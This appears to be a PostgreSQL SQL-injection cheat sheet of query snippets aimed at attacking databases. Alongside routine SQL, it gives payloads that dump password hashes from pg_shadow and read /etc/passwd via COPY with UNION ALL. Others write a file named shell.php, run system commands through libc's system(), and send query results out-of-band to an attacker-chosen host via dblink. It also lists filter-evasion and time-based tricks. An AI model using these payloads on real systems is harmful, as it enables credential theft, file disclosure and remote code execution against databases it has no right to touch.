PostgreSQL的小技巧

Note :
#PostgreSQL and PHP supports Batched Queries.
#Awesome, huh?
Version :
SELECT VERSION()
Directories :
SELECT current_setting (‘data_directory’)
SELECT current_setting (‘hba_file’)
SELECT current_setting (‘config_file’)
SELECT current_setting (‘ident_file’)
SELECT current_setting (‘external_pid_file’)
Users :
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT getpgusername();
Current Database :
SELECT current_database();
Concatenation :
SELECT 1||2||3; #Returns 123
Get Collation :
SELECT pg_client_encoding(); #Returns your current encoding (collation).
Change Collation :
SELECT convert(‘foobar_utf8′,’UTF8′,’LATIN1′); #Converts foobar from utf8 to latin1.
SELECT convert_from(‘foobar_utf8′,’LATIN1′); #Converts foobar to latin1.
SELECT convert_to(‘foobar’,'UTF8′); #Converts foobar to utf8.
SELECT to_ascii(‘foobar’,'LATIN1′); #Converts foobar to latin1.
Wildcards in SELECT(s) :
SELECT foo FROM bar WHERE id LIKE ‘test%’; #Returns all COLUMN(s) starting with “test”.
SELECT foo FROM bar WHERE id LIKE ‘%test’; #Returns all COLUMN(s) ending with “test”.
Regular Expression in SELECT(s) :
#Returns all columns matching the regular expression.
SELECT foo FROM bar WHERE id ~* ‘(moo|rawr).*’;
SELECT foo FROM bar WHERE id SIMILAR ‘(moo|rawr).*’;
SELECT Without Dublicates :
SELECT DISTINCT foo FROM bar
Counting Columns :
SELECT COUNT(*) FROM foo.bar; #Returns the amount of rows from the table “foo.bar”.
Get Amount of PostgreSQL Users :
SELECT COUNT(*) FROM pg_catalog.pg_user
Get PostgreSQL Users :
SELECT usename FROM pg_user
Get PostgreSQL User Privileges on Different Columns :
SELECT table_schema,table_name,column_name,privilege_type FROM information_schema.column_privileges
Get PostgreSQL User Privileges :
SELECT usename,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_user
Get PostgreSQL User Credentials & Privileges :
SELECT usename,passwd,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_shadow
Get PostgreSQL DBA Accounts :
SELECT * FROM pg_shadow WHERE usesuper IS TRUE
SELECT * FROM pg_user WHERE usesuper IS TRUE
Get Databases :
SELECT nspname FROM pg_namespace WHERE nspacl IS NOT NULL
SELECT datname FROM pg_database
SELECT schema_name FROM information_schema.schemata
SELECT DISTINCT schemaname FROM pg_tables
SELECT DISTINCT table_schema FROM information_schema.columns
SELECT DISTINCT table_schema FROM information_schema.tables
Get Databases & Tables :
SELECT schemaname,tablename FROM pg_tables
SELECT table_schema,table_name FROM information_schema.tables
SELECT DISTINCT table_schema,table_name FROM information_schema.columns
Get Databases, Tables & Columns :
SELECT table_schema,table_name,column_name FROM information_schema.columns
SELECT A Certain Row :
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 0; #Returns row 0.
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 1; #Returns row 1.
…
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET N; #Returns row N.
Conversion (Casting) :
SELECT CAST(’1′ AS INTEGER) #Converts the varchar “1″ to integer.
Substring :
SELECT SUBSTR(‘foobar’,1,3); #Returns foo.
SELECT SUBSTRING(‘foobar’,1,3); #Returns foo.
Hexadecimal Evasion :
#Not as fancy as in MySQL, but it sure works!
SELECT decode(’41424344′,’hex’); #Returns ABCD.
SELECT decode(to_hex(65), chr(104)||chr(101)||chr(120)); #Returns A.
ASCII to Number :
SELECT ASCII(‘A’); #Returns 65.
Number to ASCII :
SELECT CHR(65); #Returns A.
If Statement :
#Impossible in SELECT statements.
#However, here’s a work-around with sub-select(s).
SELECT (SELECT 1 WHERE 1=1); #Returns 1.
SELECT (SELECT 1 WHERE 1=2); #Returns NULL.
Case Statement :
#May be used instead of the If-Statement.
SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END; #Returns 1.
Read File(s) :
CREATE TABLE file(content text);
COPY file FROM ‘/etc/passwd’;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 0;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 1;
…
UNION ALL SELECT content FROM file LIMIT 1 OFFSET N;
DROP TABLE file;
Write File(s) :
CREATE TABLE file(content text);
INSERT INTO file(content) VALUES (‘’);
COPY file(content) TO ‘/tmp/shell.php’;
Logical Operator(s) :
#http://en.wikipedia.org/wiki/Logical_connective
AND
OR
NOT
Comments :
SELECT foo, bar FROM foo.bar/* Multi line comment */
SELECT foo, bar FROM foo.bar– Single line comment
A few evasions/methods to use between your PostgreSQL statements :
CR (%0D); #Carrier Return.
LF (%0A); #Line Feed.
Tab (%09); #The Tab-key.
Space (%20); #Most commonly used. You know what a space is.
Multiline Comment (/**/); #Well, as the name says.
Parenthesis, ( and ); #Can also be used as separators when used right.
Parenthesis instead of space :
#As said two lines above, the use of parenthesis can be used as a separator.
SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2));
Auto-Casting to Right Collation :
SELECT CONVERT_TO(‘foobar’,pg_client_encoding());
Benchmark :
#Takes about 7.5 seconds to perform this logical operation.
#Which can be compared to BENCHMARK(MD5(1),1500000) on MySQL.
SELECT (||/(9999!));
Sleep :
SELECT PG_SLEEP(5); #Sleeps the PostgreSQL database for 5 seconds.
Get PostgreSQL IP :
SELECT inet_server_addr()
Get PostgreSQL Port :
SELECT inet_server_port()
Command Execution :
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT;
SELECT system(‘echo Hello.’);
DNS Requests (OOB (Out-Of-Band )) :
SELECT * FROM dblink(‘host=www.your.host.com user=DB_Username dbname=DB’, ‘SELECT YourQuery’) RETURNS (result TEXT);
Having Fun With PostgreSQL :
dblink: The Root Of All Evil
Mapping Library Functions
From Sleeping and Copying In PostgreSQL 8.2
Recommendation and Prevention
Introducing pgshell